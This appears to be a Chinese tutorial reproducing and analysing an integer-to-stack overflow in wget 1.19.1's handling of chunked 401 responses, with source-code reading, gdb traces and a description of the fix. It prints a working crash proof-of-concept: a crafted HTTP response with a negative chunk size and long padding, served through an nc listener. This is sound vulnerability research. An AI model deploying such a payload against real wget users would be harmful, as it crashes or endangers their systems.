参考网上的一篇文章教程,复现了一下 wget 1.19.1 组件版本的的一个栈溢出漏洞。漏洞的成因是由于对响应包处理不当导致的整数溢出,进而导致栈溢出。
sudo apt-get install libneon27-gnutls-dev
wget https://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
tar zxvf wget-1.19.1.tar.gz
cd wget-1.19.1/
mkdir build/ & ./configure --prefix=$PWD/build/
make -j8
安装好的二进制文件是存放在 --prefix
变量值的 bin/ 目录下:
sudo make install
cd build/
该版本漏洞是由于 wget 组件在处理 401 状态码的数据响应包时,没有对读取的包做正负检查,导致的整数栈溢出。我们先触发一下这个漏洞。
1 . 建立 poc 文件
➜ wget_sof cat poc
HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-0xFFFFF000
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0
2 . nc 监听端口
➜ wget_sof nc -lp 12667 < poc
3 . wget 触发漏洞
可以看到,wget 在 12667 端口处触发了栈溢出漏洞,导致程序服务 crach:
接着对漏洞点进行静态和动态分析。
前文说了漏洞点是由于对 401 数据响应包的处理不当导致的,准确的说是由于 wget 在处理响应包时,对每个包进行分块之后,错误的将一个负数与整数进行比较,得到的负数的值作为内存复制函数的 len。
首先搜索 skip_short_body
函数,进入 src/http.c
源代码中进行分析:
➜ wget-1.19.1 grep -rnl "skip_short_body" *
build/bin/wget
ChangeLog
src/http.c
src/http.o
src/wget
跟踪到 src/http.c
文件的 3493 行,在这里会判断 wget 请求返回回来的 http 状态码,当状态码是 401(未认证)时会触发下面的 if 判断:
if (statcode == HTTP_STATUS_UNAUTHORIZED)
{
/* Authorization is required. */
uerr_t auth_err = RETROK;
bool retry;
if(warc_enabled){
...... # 判断是否 content-type 为 WARC
}else
{
/* Since WARC is disabled, we are not interested in the response body. */
if (keep_alive && !head_only
&& skip_short_body (sock, contlen, chunked_transfer_encoding))
CLOSE_FINISH (sock);
else
CLOSE_INVALIDATE (sock);
}
}
HTTP_STATUS_UNAUTHORIZED
的定义:#define HTTP_STATUS_UNAUTHORIZED 401
因为这里的 content-type 不是 warc,所以会进入 else 分支,以此判断 keep_alive
、head_only
,接着调用 skip_short_body
这个函数,这里传入了三个参数,第一个参数 sock 的描述符,后面两个参数不重要。
跟进函数 skip_short_body
:
static bool
skip_short_body (int fd, wgint contlen, bool chunked)
{
enum {
SKIP_SIZE = 512, /* size of the download buffer */
SKIP_THRESHOLD = 4096 /* the largest size we read */
};
wgint remaining_chunk_size = 0;
char dlbuf[SKIP_SIZE + 1];
dlbuf[SKIP_SIZE] = '\0'; /* so DEBUGP can safely print it */
/* If the body is too large, it makes more sense to simply close the
connection than to try to read the body. */
if (contlen > SKIP_THRESHOLD)
return false;
while (contlen > 0 || chunked)
{
int ret;
if (chunked)
{
if (remaining_chunk_size == 0)
{
char *line = fd_read_line (fd);
char *endl;
if (line == NULL)
break;
remaining_chunk_size = strtol (line, &endl, 16);
xfree (line);
if (remaining_chunk_size == 0)
{
line = fd_read_line (fd);
xfree (line);
break;
}
}
contlen = MIN (remaining_chunk_size, SKIP_SIZE);
}
DEBUGP (("Skipping %s bytes of body: [", number_to_static_string (contlen)));
ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1);
首先函数通过 sock 获取到 line 的指针: char *line = fd_read_line (fd);
,也就是 http 响应包的响应体的指针。
接着调用 strtol
函数,将 line 变量指向的值转换为整数值(remaining_chunk_size
变量),接着通过 MIN (remaining_chunk_size, SKIP_SIZE);
得到真正的响应体的长度 contlen。
# define MIN(a,b) ((a) < (b) ? (a) : (b))
之后调用了 fd_read
函数,将响应体的内容复制到栈中,长度即为 contlen 变量的值。
fd_read
函数封装了 sock_read
函数
int
fd_read (int fd, char *buf, int bufsize, double timeout)
{
struct transport_info *info;
LAZY_RETRIEVE_INFO (info);
if (!poll_internal (fd, info, WAIT_FOR_READ, timeout))
return -1;
if (info && info->imp->reader)
return info->imp->reader (fd, buf, bufsize, info->ctx);
else
return sock_read (fd, buf, bufsize);
}
sock_read
函数调用了 read
函数,在这里触发了栈溢出:
static int
sock_read (int fd, char *buf, int bufsize)
{
int res;
do
res = read (fd, buf, bufsize);
while (res == -1 && errno == EINTR);
return res;
}
使用 gdb 进行动态调试:
gdb ./wget
set args 127.0.0.1:12667
b skip_short_body
将断点下在 skip_short_body
函数入口,在执行完 fd_read_line
函数后,观察寄存器,返回值 line 的值为 -0xFFFFF000
的指针:
往下,接着会调用 strtol
函数,第一个为 line 的值,第二个参数为栈上的变量,第三个参数为长度:
执行完 strtol
函数之后,会将返回值赋值给 remaining_chunk_size
变量,此时这个变量的值为 0xffffffff00001000
:
pwndbg> i reg rax
rax 0xffffffff00001000 -4294963200
通过代码 contlen = MIN (remaining_chunk_size, SKIP_SIZE);
进行比较,得到的 contlen
变量的值为 0x1000。
而 SKIP_SIZE
的定义:
接着调用到 fd_read
函数,这个函数的第三个参数就是 contlen 的值,大小为 0x1000。
跟进函数,fd_read
里面封装了 sock_read
函数:
跟进之后发现,这个函数里调用了 read 函数,将 sock 通道里的内容(也就是 AAAA...)复制到栈空间上:
因为这个值太大,导致了栈溢出。填充后不会使得当前 fd_read
函数崩溃,而会溢出到了 skip_short_body
这个函数的栈空间,覆盖了栈的返回地址,导致程序崩溃:
更新的补丁将 strtol
函数的返回值 remaining_chunk_size
变量的值进行是否为负数的判断,如果是负数的话就之后 return False
从而防止整数的溢出。